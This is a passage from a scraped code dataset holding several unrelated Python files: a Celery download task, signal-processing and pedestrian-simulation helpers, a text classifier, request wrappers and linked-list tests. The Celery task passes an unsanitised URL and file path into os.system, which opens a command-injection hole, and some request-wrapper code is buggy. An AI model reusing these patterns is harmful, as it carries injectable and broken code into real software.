"line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.identity", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 55, "usage_type": "call"}, {"api_name": "matrix.center_homography", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.BORDER_CONSTANT", "line_number": 59, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 65, "usage_type": "call"}, {"api_name": "click.command", "line_number": 11, "usage_type": "call"}, {"api_name": "click.option", "line_number": 12, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 14, "usage_type": "call"}]} {"seq_id": "2570337172", "text": "# -*- coding:utf-8 -*-\n\nimport os\n\nfrom celery import shared_task\nfrom celery.utils.log import get_task_logger\n\nlogger = get_task_logger(__name__)\n\n@shared_task\ndef you_get(**kwargs):\n url = kwargs.get('url')\n with_caption = kwargs.get('with_caption')\n form = kwargs.get('form')\n default_path = kwargs.get('default_path')\n output_fn = kwargs.get('output_fn')\n list_download = kwargs.get('list_download')\n\n cmd = 'you-get'\n if list_download:\n cmd += ' --playlist'\n else:\n if output_fn is not None and output_fn != '':\n cmd += ' -O {}'.format(output_fn)\n\n cmd += ' --format={} -o {}'.format(form, default_path)\n\n if not with_caption:\n cmd += ' --no-caption'\n\n cmd += ' {}'.format(url)\n\n logger.info('you-get 命令:[{}]'.format(cmd))\n return os.system(cmd)", "repo_name": "ftakanashi/FTKBlog", "sub_path": "tools/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 828, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "celery.utils.log.get_task_logger", "line_number": 8, "usage_type": "call"}, {"api_name": "os.system", "line_number": 34, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 10, "usage_type": "name"}]} {"seq_id": "31680433109", "text": "# M. P. Hayes UCECE\nimport numpy as np\nfrom ipywidgets import interact, interactive, fixed, interact\nfrom .lib.signal_plot import signal_plot3\nfrom .lib.signal import Signal, signals\n\ndef convolution_demo1_plot(x='fang(t)', h='exp(-t) u(t)', t=0.5):\n\n N = 500\n tmax = 5\n t1 = np.linspace(-tmax, tmax, N) \n\n dt = t1[1] - t1[0] \n offset = int(-t1[0] / dt)\n \n x1 = Signal(x)(t - t1)\n x2 = Signal(h)(t1)\n y1 = Signal(x)(t1) \n\n bar = [max(x2 * Signal(x)(tau - t1)) for tau in t1]\n \n z1 = x1 * x2\n z = np.convolve(y1, x2)[offset:offset + len(t1)] * dt\n\n foo = np.trapz(z1, t1)\n \n fig = signal_plot3(t1, x1, t1, z1, t1, z)\n axes = fig.axes\n axes[0].plot(t1, x2)\n axes[0].legend((r'$x(%s-\\tau)$' % t, r'$h(\\tau)$'))\n axes[0].set_xlabel(r'$\\tau$')\n axes[1].fill_between(t1, 0, z1, facecolor='none', edgecolor='b', hatch='///')\n axes[1].legend((r'$x(%s-\\tau) h(\\tau)$' % t, )) \n axes[1].set_ylim(0, max(bar))\n axes[1].set_xlabel(r'$\\tau$') \n axes[2].plot((t, t), (0, foo), 'r')\n axes[2].plot(t, foo, 'ro') \n axes[2].legend((r'$y(t)$', ))\n axes[2].set_xlabel('$t$') \n\n fig.tight_layout()\n\ndef convolution_demo1():\n interact(convolution_demo1_plot, x=signals, h=signals,\n t=(-5, 5, 0.1), continuous_update=False)\n \n", "repo_name": "mph-/dsp-notebooks", "sub_path": "intro/demos/convolution_demo1.py", "file_name": "convolution_demo1.py", "file_ext": "py", "file_size_in_byte": 1329, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.linspace", "line_number": 11, "usage_type": "call"}, {"api_name": "lib.signal.Signal", "line_number": 16, "usage_type": "call"}, {"api_name": "lib.signal.Signal", "line_number": 17, "usage_type": "call"}, {"api_name": "lib.signal.Signal", "line_number": 18, "usage_type": "call"}, {"api_name": "lib.signal.Signal", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 25, "usage_type": "call"}, {"api_name": "lib.signal_plot.signal_plot3", "line_number": 27, "usage_type": "call"}, {"api_name": "ipywidgets.interact", "line_number": 44, "usage_type": "call"}, {"api_name": "lib.signal.signals", "line_number": 44, "usage_type": "name"}]} {"seq_id": "12911092605", "text": "import pandas as pd\nimport re\nimport operator\nimport string\nimport nltk \nimport sys\nfrom nltk.tag import pos_tag\ndef removePunc(x):\n x = re.sub(r'[@#]\\w+', '', x) #taking out hashtags and @ \n x = re.sub(r'(https?:\\/\\/)?([\\da-z\\.-]+)\\.([a-z\\.]{2,6})([\\/\\w \\.-]*)', '', x) #taking out links \n x = re.sub(r'[!?\\.,\\'\\\"]+', '', x) #taking out punctuation i.e ? ! . ' and \" \n return x.strip()\n\ndef findProperNouns(sen):\n tagged_sent = pos_tag(sen.split())\n propernouns = [word for word,pos in tagged_sent if pos == 'NNP']\n return propernouns\n\ndef GETHOSTNAMES(year):\n gg = pd.read_json('gg2013.json', orient='records')\n gg1 = pd.read_json('gg2015.json', orient='records')\n copy = gg.copy(deep=True)\n if year == '2015':\n copy = gg1.copy(deep=True)\n copy['text'] = copy['text'].apply(lambda x: removePunc(str(x)))\n test = list(copy['text'].values)\n s = list(set(test))\n df = pd.DataFrame(s, columns=['text'])\n df = df.loc[df['text'].str.contains('host')]\n df['ProperNouns'] = df['text'].apply(lambda x: findProperNouns(x))\n NGRAMS_DICT = {}\n for i in range(len(df)):\n PN = df['ProperNouns'].iloc[i]\n if len(PN) % 2 == 0: \n for j in range(0, len(PN), 2):\n name = PN[j] + ' ' + PN[j+1]\n if name in NGRAMS_DICT:\n NGRAMS_DICT[name] += 1\n else:\n NGRAMS_DICT[name] = 1\n cd = sorted(NGRAMS_DICT.items(),key=operator.itemgetter(1),reverse=True)\n top3 = [i[0] for i in cd[0:3]]\n return top3\n\nuser_in = sys.argv[1]\nhost = GETHOSTNAMES(user_in)\nprint(host)\n", "repo_name": "iamalanxue/CS337", "sub_path": "hostnames.py", "file_name": "hostnames.py", "file_ext": "py", "file_size_in_byte": 1519, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.sub", "line_number": 9, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 10, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 11, "usage_type": "call"}, {"api_name": "nltk.tag.pos_tag", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.read_json", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.read_json", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 28, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 45, "usage_type": "attribute"}]} {"seq_id": "22116560377", "text": "import gzip\nimport csv\nimport math\nimport distance\n\ndef create_kth_walkers_reader(model_options, max_time = None):\n assert 'filepath' in model_options\n\n # To support offsets, we would introduce a dictionary to translate ids and ignore ids that are destroyed before the offset\n # we would then create all the nodes and set their respective initial positions\n # for all other lines, we need to translate the ids and subtract the offset (also handling the destination time!)\n\n path = model_options['filepath']\n path = path.replace('/app/sim/data/kth_walkers', 'data/kth_walkers')\n\n with gzip.open(path,'rt') as f:\n reader = csv.reader(f, delimiter=' ')\n for r in reader:\n if max_time is not None and float(r[0]) > max_time:\n break\n yield r\n\ndef walkers_to_line_gen(num_proxy_nodes, model_options):\n assert 'filepath' in model_options\n\n kw_reader = create_kth_walkers_reader(model_options)\n\n # we first disable all nodes (including node 0)\n for i in range(num_proxy_nodes+1):\n yield \"0 disable {}\".format(i)\n\n # we then set node 0 position and enable it\n yield \"0 set 0 783.2 1639.4 0\"\n # we then enable node 0\n yield \"0 enable 0\"\n\n # we then go read through walkers file and translate the commands, ignoring non-existant devices\n for r in kw_reader:\n ts = r[0]\n us = math.floor(float(ts)*1000000)\n cmd = r[1]\n id = r[2]\n\n if int(id) > num_proxy_nodes:\n continue # we ignore this node since it does have a corresponding device anyway\n\n if cmd == 'setdest': # \"6.0 setdest 1 818.0 1453.0 0.0 0.8 6.6\"\n pos_x = r[3]\n pos_y = r[4]\n pos_z = r[5]\n dest_time_us = math.floor(float(r[7])*1000000)\n\n assert dest_time_us >= us\n # move \n yield \"{} move {} {} {} {} {}\".format(str(us), id, pos_x, pos_y, pos_z, str(dest_time_us-us))\n elif cmd == 'create': # 6.0 create 2 628.2 1812.1 0.0\n pos_x = r[3]\n pos_y = r[4]\n pos_z = r[5]\n yield \"{} set {} {} {} {}\".format(str(us), id, pos_x, pos_y, pos_z)\n yield \"{} enable {}\".format(str(us), id)\n elif cmd == 'destroy': # 132.6 destroy 4\n yield \"{} disable {}\".format(str(us), id)\n yield \"{} set {} 0 0 0\".format(str(us), id)\n else:\n print(\"Warning: could not find cmd: \" + r)\n\ndef walkers_get_num_created_nodes_until(max_time, model_options):\n num_created = 0\n\n kw_reader = create_kth_walkers_reader(model_options, max_time=max_time)\n for r in kw_reader:\n if r[1] == 'create':\n num_created += 1\n return num_created\n\ndef get_node_lifetimes(max_time, model_options):\n assert max_time > 0\n\n kw_reader = create_kth_walkers_reader(model_options, max_time=max_time)\n\n lifetimes = {}\n lifetimes[0] = (0.0, max_time)\n\n for r in kw_reader:\n if r[1] == 'create':\n assert int(r[2]) not in lifetimes\n lifetimes[int(r[2])] = (float(r[0]), max_time) # we assume they stay \"alive\" until the end\n if r[1] == 'destroy':\n assert int(r[2]) in lifetimes\n lifetimes[int(r[2])] = (lifetimes[int(r[2])][0], min(lifetimes[int(r[2])][1], float(r[0]))) # we assume they stay \"alive\" until the end\n return lifetimes\n\ndef get_bounds(model_options):\n\n xs = []\n ys = []\n\n kw_reader = create_kth_walkers_reader(model_options)\n\n for r in kw_reader:\n if r[1] == 'create' or r[1] == 'setdest':\n xs.append(float(r[3]))\n ys.append(float(r[4]))\n\n return (min(xs), min(ys)), (max(xs), max(ys))\n\ndef get_max_density(model_options, max_time = None):\n ((min_x, min_y), (max_x, max_y)) = get_bounds(model_options)\n\n kw_reader = create_kth_walkers_reader(model_options, max_time=max_time)\n\n num_created = 0\n num_destroyed = 0\n max_concurrent = 0\n max_concurrent_time = None\n max_available_time = None\n\n for r in kw_reader:\n if max_time and float(r[0]) > max_time:\n max_available_time = None\n break\n if r[1] == 'create':\n num_created += 1\n if r[1] == 'destroy':\n num_destroyed += 1\n concurrent = num_created-num_destroyed\n if concurrent > max_concurrent:\n max_concurrent = concurrent\n max_concurrent_time = r[0]\n max_available_time = r[0]\n\n print('concurrent', max_concurrent, max_concurrent_time, 'created', num_created, 'max_available', max_available_time)\n\n area = (max_x-min_x)*(max_y-min_y)\n print((max_x-min_x), (max_y-min_y), area, max_concurrent, max_concurrent/(area/1000000.0))\n\n\ndef create_contact_pairs(max_time, model_options, dist_limit=20.0, step_s=1.0):\n assert 'filepath' in model_options\n assert max_time > 0\n \n assert step_s == 1.0 # other is currently not supported...\n\n node_lifetimes = get_node_lifetimes(max_time, model_options)\n num_proxy_nodes = len(node_lifetimes)-1\n\n import dist_writer\n pos_iter = dist_writer.line_to_position_iterator(num_proxy_nodes, walkers_to_line_gen(num_proxy_nodes, model_options))\n\n # the dictionary that contains (start_time, end_times) tuples under each key (a,b) with a > b\n contact_pairs = {}\n\n # contains the start time of the current contact\n contact_pairs_start = {}\n\n for a in range(num_proxy_nodes+1):\n for b in range(num_proxy_nodes+1):\n if a <= b:\n continue\n contact_pairs[(a,b)] = []\n contact_pairs_start[(a,b)] = None\n t = 0\n while t <= max_time:\n (ts, positions) = next(pos_iter)\n alive_nodes = [k for k in node_lifetimes if node_lifetimes[k][0] <= t <= node_lifetimes[k][1]]\n\n for a in alive_nodes:\n for b in alive_nodes:\n if a <= b:\n continue\n\n pos_a = positions[a]\n pos_b = positions[b]\n diff_x = pos_a[0] - pos_b[0]\n diff_y = pos_a[1] - pos_b[1]\n dist = math.sqrt(diff_x * diff_x + diff_y * diff_y)\n\n if dist > dist_limit:\n if contact_pairs_start[(a,b)] is not None: # connection breaks!\n contact_pairs[(a,b)].append((contact_pairs_start[(a,b)], t))\n contact_pairs_start[(a,b)] = None\n elif contact_pairs_start[(a,b)] is None:\n contact_pairs_start[(a,b)] = t # we start a new contact!\n t += 1\n\n # in the end, we need close all contacts based on the nodes lifetimes\n for a in range(num_proxy_nodes+1):\n for b in range(num_proxy_nodes+1):\n if a <= b:\n continue\n\n if contact_pairs_start[(a,b)] is not None:\n contact_pairs[(a,b)].append((contact_pairs_start[(a,b)], min(node_lifetimes[a][1], node_lifetimes[b][1])))\n contact_pairs_start[(a,b)] = None\n\n return contact_pairs\n\n\ndef simulate_broadcast(max_time, model_options, dist_limit=20.0, setup_time=20.0, source_index=0):\n assert 'filepath' in model_options\n assert max_time > 0\n\n node_lifetimes = get_node_lifetimes(max_time, model_options)\n num_proxy_nodes = len(node_lifetimes)-1\n\n node_informed = {}\n for k in node_lifetimes:\n node_informed[k] = None\n node_informed[source_index] = 0 # source device is informed from the start\n\n conn_start = {} # dict with key (a,b) and the second the connection did start (or None)\n\n import dist_writer\n pos_iter = dist_writer.line_to_position_iterator(num_proxy_nodes, walkers_to_line_gen(num_proxy_nodes, model_options))\n\n t = 0\n while t <= max_time:\n (ts, positions) = next(pos_iter)\n alive_nodes = [k for k in node_lifetimes if node_lifetimes[k][0] <= t <= node_lifetimes[k][1]]\n # iterate over all alive nodes until no new nodes were informed\n\n while True:\n newly_informed = False\n\n for a in alive_nodes:\n for b in alive_nodes:\n if a <= b: # otherwise already checked (or the same node) note that we\n continue\n pos_a = positions[a]\n pos_b = positions[b]\n diff_x = pos_a[0] - pos_b[0]\n diff_y = pos_a[1] - pos_b[1]\n dist = math.sqrt(diff_x * diff_x + diff_y * diff_y)\n\n if dist > dist_limit: # connection breaks!\n conn_start[(a,b)] = None # we reset the connection\n else:\n if (a,b) not in conn_start or conn_start[(a,b)] is None : # connection could already have been started\n conn_start[(a,b)] = t\n assert conn_start[(a,b)] <= t\n\n if t-conn_start[(a,b)] >= setup_time:\n if node_informed[a] is not None and node_informed[b] is None: # node_informed[a] <= t anyway\n # a informs b -> newly informed so we might need to inform others as well!\n node_informed[b] = t\n newly_informed = True\n elif node_informed[b] is not None and node_informed[a] is None:\n # b informs a -> newly informed so we might need to inform others as well!\n node_informed[a] = t\n newly_informed = True\n if not newly_informed: # if we informed someone we need to go through all pairs again and check if new ones could get informed\n break\n t += 1\n return node_informed\n\n\ndef dist_time_iters(max_time, model_options):\n num_proxy_nodes = walkers_get_num_created_nodes_until(max_time, model_options)\n import dist_writer\n tp_iter = dist_writer.line_to_position_iterator(num_proxy_nodes, walkers_to_line_gen(num_proxy_nodes, model_options))\n return distance.time_dist_iters_from_pos_iter(tp_iter, num_proxy_nodes+1)\n\n\nimport numpy as np\ndef eval_lt_stats(max_time, model_options):\n lt = get_node_lifetimes(max_time, model_options)\n lts = []\n for k in lt:\n if lt[k][1] < max_time:\n lts.append(lt[k][1]-lt[k][0])\n return np.mean(lts), np.std(lts), np.percentile(np.array(lts), [2.5, 97.5])\n\nif __name__ == \"__main__\":\n\n # print('001', eval_lt_stats(36000, {'filepath': 'data/kth_walkers/sparse_run1/ostermalm_001_1.tr.gz'}))\n # print('002', eval_lt_stats(36000, {'filepath': 'data/kth_walkers/sparse_run1/ostermalm_002_1.tr.gz'}))\n # print('003', eval_lt_stats(36000, {'filepath': 'data/kth_walkers/sparse_run1/ostermalm_003_1.tr.gz'}))\n # print('004', eval_lt_stats(36000, {'filepath': 'data/kth_walkers/sparse_run1/ostermalm_004_1.tr.gz'}))\n # print('005', eval_lt_stats(36000, {'filepath': 'data/kth_walkers/sparse_run1/ostermalm_005_1.tr.gz'}))\n # exit()\n #\n print('001')\n get_max_density({'filepath': 'data/kth_walkers/sparse_run1/ostermalm_001_1.tr.gz'}, max_time=3600)\n #print('002')\n #get_max_density({'filepath': 'data/kth_walkers/sparse_run1/ostermalm_002_1.tr.gz'})\n print('003')\n get_max_density({'filepath': 'data/kth_walkers/sparse_run1/ostermalm_003_1.tr.gz'}, max_time=3600)\n #print('004')\n #get_max_density({'filepath': 'data/kth_walkers/sparse_run1/ostermalm_004_1.tr.gz'})\n print('005')\n get_max_density({'filepath': 'data/kth_walkers/sparse_run1/ostermalm_005_1.tr.gz'}, max_time=3600)\n\n #\n # print('007')\n # get_max_density({'filepath': 'data/kth_walkers/medium_run1/ostermalm_007_1.tr.gz'})\n # print('009')\n # get_max_density({'filepath': 'data/kth_walkers/medium_run1/ostermalm_009_1.tr.gz'})\n # print('011')\n # get_max_density({'filepath': 'data/kth_walkers/medium_run1/ostermalm_011_1.tr.gz'})\n # print('015')\n # get_max_density({'filepath': 'data/kth_walkers/medium_run1/ostermalm_015_1.tr.gz'})\n # print('020')\n # get_max_density({'filepath': 'data/kth_walkers/medium_run1/ostermalm_020_1.tr.gz'})\n # print('030')\n # get_max_density({'filepath': 'data/kth_walkers/dense_run1/ostermalm_030_1.tr.gz'})\n # print('040')\n # get_max_density({'filepath': 'data/kth_walkers/dense_run1/ostermalm_040_1.tr.gz'})\n # print('050')\n # get_max_density({'filepath': 'data/kth_walkers/dense_run1/ostermalm_050_1.tr.gz'})\n # print('070')\n # get_max_density({'filepath': 'data/kth_walkers/dense_run1/ostermalm_070_1.tr.gz'})\n # print('090')\n # get_max_density({'filepath': 'data/kth_walkers/dense_run1/ostermalm_090_1.tr.gz'})\n\n #with gzip.open('data/kth_walkers/dense_run1/ostermalm_090_1.tr.gz','rt') as f:\n #with gzip.open('data/kth_walkers/medium_run1/ostermalm_007_1.tr.gz','rt') as f:\n\n\n max_time = 3600\n kw_reader = create_kth_walkers_reader({'filepath': 'data/kth_walkers/sparse_run1/ostermalm_001_1.tr.gz'}, max_time=max_time)\n\n\n num_created = 0\n num_destroyed = 0\n max_concurrent = 0\n max_concurrent_time = None\n\n\n min_x = None\n min_y = None\n max_x = None\n max_y = None\n\n for r in kw_reader:\n if max_time and float(r[0]) > max_time:\n break\n if r[1] == 'create':\n num_created += 1\n if r[1] == 'destroy':\n num_destroyed += 1\n concurrent = num_created-num_destroyed\n if concurrent > max_concurrent:\n max_concurrent = concurrent\n max_concurrent_time = r[0]\n\n if r[3] == 'destroy':\n num_destroyed += 1\n\n print('concurrent', max_concurrent, max_concurrent_time, 'created', num_created)\n\n #test_gen = walkers_to_line_gen(100, {'filepath': 'data/kth_walkers/sparse_run1/ostermalm_005_1.tr.gz'})\n\n #for line in test_gen:\n # print(line)\n\n # 001: 57 12156.6 created 2092\n # 005: 233 3057.6 created 4227\n # 007: 301 4387.8 created 5706", "repo_name": "prathje/DisruptaBLE", "sub_path": "sim/kth_walkers.py", "file_name": "kth_walkers.py", "file_ext": "py", "file_size_in_byte": 13987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "gzip.open", "line_number": 16, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 17, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 40, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 51, "usage_type": "call"}, {"api_name": "dist_writer.line_to_position_iterator", "line_number": 149, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 177, "usage_type": "call"}, {"api_name": "dist_writer.line_to_position_iterator", "line_number": 215, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 234, "usage_type": "call"}, {"api_name": "dist_writer.line_to_position_iterator", "line_number": 261, "usage_type": "call"}, {"api_name": "distance.time_dist_iters_from_pos_iter", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 272, "usage_type": "call"}]} {"seq_id": "7095143229", "text": "import torch\nfrom text_classification.data_process import seq2index, padding_seq\nimport os\nfrom config import GPU_NUM\n\npath = os.path.dirname(__file__)\n\nif torch.cuda.is_available():\n device = torch.device(f'cuda:{GPU_NUM}')\nelse:\n device = torch.device('cpu')\n\nmodel = torch.load(path + '/text_cnn.p').to(device)\nmodel.eval()\n\n\ndef classification_predict(s):\n s = seq2index(s)\n if torch.cuda.is_available():\n s = torch.from_numpy(padding_seq([s])).cuda().long()\n else:\n s = torch.from_numpy(padding_seq([s])).long()\n\n out = model(s)\n return out.cpu().data.numpy()\n\n\nif __name__ == '__main__':\n while 1:\n s = input('句子：')\n print(classification_predict(s))\n", "repo_name": "terrifyzhao/FastLearning", "sub_path": "demo/predict.py", "file_name": "predict.py", "file_ext": "py", "file_size_in_byte": 714, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 9, "usage_type": "call"}, {"api_name": "config.GPU_NUM", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 13, "usage_type": "call"}, {"api_name": "text_classification.data_process.seq2index", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 20, "usage_type": "call"}, {"api_name": "text_classification.data_process.padding_seq", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 22, "usage_type": "call"}, {"api_name": "text_classification.data_process.padding_seq", "line_number": 22, "usage_type": "call"}]} {"seq_id": "12295418796", "text": "#!/usr/bin/python\r\n###############################################################################\r\n#\r\n#\r\n# Handles the actual setting up of the Requests classes\r\n#\r\n# Takes in a URL and optional headers and fields to be encoded.\r\n# If the 'get' flag is True, no data is sent the Request builder, and you\r\n# end up with a GET request instead of a POST request \r\n#\r\n# 1-9-2018 Added Proxy Support\r\n#\r\n###############################################################################\r\n\r\nimport requests\r\nimport urllib2\r\nimport urllib\r\nimport cookielib\r\nimport mechanize\r\n\r\nclass pageRequest():\r\n \r\n \r\n\r\n \r\n def __init__(self,url,headers=False,fFields=False,get=False,proxy=False,UA=False):\r\n self.initURL=url\r\n self.proxy=proxy\r\n \r\n# Set headers if they are provided; otherwise, set basic default headers\r\n \r\n if headers:\r\n self.headers=headers\r\n elif UA:\r\n # User-supplied User Agent?\r\n self.headers={\r\n 'HTTP_USER_AGENT': UA,\r\n 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8',\r\n 'Content-Type': 'application/x-www-form-urlencoded'\r\n }\r\n else:\r\n self.headers={\r\n 'HTTP_USER_AGENT': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13',\r\n 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8',\r\n 'Content-Type': 'application/x-www-form-urlencoded'\r\n }\r\n \r\n# Set form fields if provided; otherwise, GET method is used\r\n \r\n if fFields:\r\n self.formFields=fFields \r\n self.encodedFields=urllib.urlencode(self.formFields)\r\n\r\n# If the GET flag is True, request is a GET request; otherwise, it is a POST request\r\n \r\n if get:\r\n if proxy:\r\n self.req=urllib2.Request(self.initURL,headers=self.headers)\r\n else:\r\n self.req=urllib2.Request(self.initURL,self.encodedFields,self.headers) \r\n \r\n def __call__(self):\r\n \r\n# Option to call the URL with less sophisticated method\r\n \r\n \r\n return urllib2.urlopen(self.req)\r\n\r\nclass pageRequestMech():\r\n # proxy = {'http':ip:port}\r\n def __init__(self,headers=False,fFields=False,get=False,proxy=False,UA=False):\r\n self.proxy=proxy\r\n \r\n# Set headers if they are provided; otherwise, set basic default headers\r\n \r\n if headers:\r\n self.headers=headers\r\n elif UA:\r\n # User-supplied User Agent?\r\n self.headers={\r\n 'HTTP_USER_AGENT': UA,\r\n 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8',\r\n 'Content-Type': 'application/x-www-form-urlencoded'\r\n }\r\n else:\r\n self.headers={\r\n 'HTTP_USER_AGENT': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13',\r\n 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8',\r\n 'Content-Type': 'application/x-www-form-urlencoded'\r\n }\r\n \r\n# Set form fields if provided; otherwise, GET method is used\r\n \r\n if fFields:\r\n self.formFields=fFields \r\n br=mechanize.Browser()\r\n cj=cookielib.LWPCookieJar()\r\n br.set_cookiejar(cj)\r\n \r\n # Browser Options\r\n \r\n br.set_handle_equiv(True)\r\n br.set_handle_gzip(True)\r\n br.set_handle_redirect(True)\r\n br.set_handle_referer(True)\r\n br.set_handle_robots(False)\r\n \r\n # Follows refresh 0 but not hangs on refresh > 0\r\n \r\n br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)\r\n if proxy:\r\n try:\r\n br.set_proxies(proxy)\r\n except:\r\n raise \"Proxy not formatted correctly. Format is {'http':ip:port}\"\r\n headerList=[]\r\n for key in self.headers.keys():\r\n headerList.append((key,self.headers[key]))\r\n br.addheaders=headerList\r\n \r\n self.req=br", "repo_name": "veto1024/CobbProperties", "sub_path": "browser.py", "file_name": "browser.py", "file_ext": "py", "file_size_in_byte": 4289, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "urllib.urlencode", "line_number": 52, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 58, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 60, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 67, "usage_type": "call"}, {"api_name": "mechanize.Browser", "line_number": 96, "usage_type": "call"}, {"api_name": "cookielib.LWPCookieJar", "line_number": 97, "usage_type": "call"}, {"api_name": "mechanize._http.HTTPRefreshProcessor", "line_number": 110, "usage_type": "call"}, {"api_name": "mechanize._http", "line_number": 110, "usage_type": "attribute"}]} {"seq_id": "17166984593", "text": "import pytest\nfrom code_challenges.data_structures.linked_list.linked_list import Node\nfrom code_challenges.data_structures.linked_list.linked_list import LinkedList\nfrom code_challenges.data_structures.linked_list.linked_list import merge_lists\n\ndef test_linked_list():\n test_list = LinkedList()\n actual = test_list.head\n expected = None\n assert actual == expected\n\ndef test_node():\n test_node = Node(10)\n actual = test_node.value\n expected = 10\n assert actual == expected\n actual = test_node.next\n expected = None\n assert actual == expected\n\ndef test_append():\n append_test_list = LinkedList()\n append_test_list.append(20)\n actual = append_test_list.head.value\n excepted = 20\n assert actual == excepted\n actual = append_test_list.head.next\n excepted = None\n assert actual == excepted\n\ndef test_includes_found(sample_linked_list):\n actual = sample_linked_list.includes(30)\n expected = True\n assert actual == expected\n\ndef test_insert_before_found(sample_linked_list):\n sample_linked_list.insert_before(20, 15)\n actual = sample_linked_list.head.next.value\n expected = 15\n assert actual == expected\n\ndef test_insert_before_not_found(sample_linked_list):\n actual = sample_linked_list.insert_before(2, 15)\n expected = 'Search value not found'\n assert actual == expected\n\ndef test_insert_after_found(sample_linked_list):\n sample_linked_list.insert_after(20, 15)\n actual = sample_linked_list.head.next.next.value\n expected = 15\n assert actual == expected\n\ndef test_insert_after_not_found(sample_linked_list):\n actual = sample_linked_list.insert_after(2, 15)\n expected = 'Search value not found'\n assert actual == expected\n\ndef test_kth_happy_path(sample_linked_list):\n actual = sample_linked_list.kth(2)\n expected = 20\n assert actual == expected\n\ndef test_kth_expected_failure(sample_linked_list):\n actual = sample_linked_list.kth(4)\n expected = 'Input value is greater than the length of the list.'\n assert actual == expected\n\ndef test_kth_edge_case(sample_linked_list):\n actual = sample_linked_list.kth(-1)\n expected = 'Invalid input value. Input must be greater than -1.'\n assert actual == expected\n\ndef test__str__(sample_linked_list):\n actual = sample_linked_list.__str__()\n expected = '10 -> 20 -> 30 -> 40 -> None'\n assert actual == expected\n\ndef test__str__empty_list():\n empty_linked_list = LinkedList()\n actual = empty_linked_list.__str__()\n expected = 'None'\n assert actual == expected\n\ndef test_merge_lists_happy_path(sample_linked_list, sample_linked_list_b):\n merged_ll = merge_lists(sample_linked_list, sample_linked_list_b)\n actual = merged_ll.__str__()\n expected = '10 -> 15 -> 20 -> 25 -> 30 -> 35 -> 40 -> 45 -> 55 -> 65 -> None'\n assert actual == expected\n\ndef test_merge_lists_one_empty_ll(sample_linked_list, empty_ll):\n merged_ll = merge_lists(sample_linked_list, empty_ll)\n actual = merged_ll.__str__()\n expected = '10 -> 20 -> 30 -> 40 -> None'\n assert actual == expected\n\ndef test_merge_lists_two_empty_ll(empty_ll):\n merged_ll = merge_lists(empty_ll, empty_ll)\n actual = merged_ll.__str__()\n expected = 